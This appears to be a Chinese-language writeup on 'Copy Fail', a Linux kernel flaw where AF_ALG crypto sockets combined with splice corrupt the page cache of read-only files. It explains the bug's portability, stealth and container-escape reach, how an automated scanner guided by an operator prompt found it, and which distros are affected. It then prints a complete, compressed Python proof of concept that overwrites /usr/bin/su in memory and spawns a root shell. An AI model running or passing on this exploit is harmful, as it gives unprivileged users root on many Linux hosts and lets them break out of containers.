
阐述
1. 什么让 Copy Fail 与众不同
Linux 内核此前也曾出现过备受关注的权限提升漏洞。Dirty Cow(CVE-2016-5195)需要在虚拟内存子系统的写时复制路径中成功利用竞争条件,通常需要多次尝试,有时还会导致系统崩溃。Dirty Pipe(CVE-2022-0847)则具有版本依赖性,且需要精确操控管道缓冲区。 Copy Fail 是一个直接的逻辑缺陷。它无需竞态条件、重试或容易出错的定时窗口即可触发。 可移植性。 同一个脚本在所有测试过的发行版和架构上均能正常运行,包括 Ubuntu、Amazon Linux、RHEL 和 SUSE。无需针对不同发行版调整偏移量,无需重新编译,漏洞利用代码中也不需要版本检查。 小巧。整个漏洞利用仅是一个使用标准库模块(os、socket、zlib)的简短 Python 脚本。它需要 Python 3.10+ 才能使用 os.splice。无需编译的载荷,也无需安装依赖。 隐蔽性极强。 该写入操作绕过了常规的 VFS 写入路径。内核的回写机制从未将损坏的页面标记为脏数据。使用磁盘上校验和进行比对的标准文件完整性工具将无法发现这一问题,因为磁盘上的文件实际上并未改变。只有内存中的页缓存被破坏。 跨容器影响。 页缓存在整个系统的所有进程间共享,包括跨越容器边界的情况。 Copy Fail 不仅是本地权限提升漏洞,更是一种容器逃逸原语,也是 Kubernetes 节点的 compromise 向量(第二部分)。
2. 发现
李泰阳此前的内核 CTF 工作已经描绘了 AF_ALG 的攻击面。他意识到,AF_ALG 与 splice 结合可以创建一条路径,使非特权用户空间能够直接将页缓存页注入到加密子系统中,并怀疑散列列表页的来源可能是尚未充分探索的漏洞来源。 与此同时,其他 Theori 研究人员正在运行 Xint 代码,发现了内核代码中的关键漏洞,包括 Android 驱动程序和 XNU。我们希望将这项工作扩展到 Linux 系统,鉴于我们对其实现机制已有深入了解,加密子系统成为了一个顺理成章的切入点。 Xint 代码支持“操作员提示”功能,该功能(可选地)允许人工操作员提供额外的上下文信息,以指导自动化扫描。在此情况下,操作员提示非常简单: “这是 Linux crypto/子系统。请检查所有从用户空间系统调用可到达的代码路径。注意一个关键观察:splice() 可以将只读文件(包括 setuid 二进制文件)的页缓存引用传递给加密传输散列表。” Copy Fail漏洞于大约一小时后扫描完, 是最严重的输出结果。
涉及范围
目前已知受影响操作系统及版本:Ubuntu 25.10Ubuntu 24.04 LTSUbuntu 22.04 LTSUbuntu 20.04 LTSUbuntu 18.04 LTSAmazon Linux 2023Red Hat Enterprise Linux 10Red Hat Enterprise Linux 9Red Hat Enterprise Linux 8SUSE 16
复现流程
1.poc:
import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")
2.实操
检查内核版本
uname -r
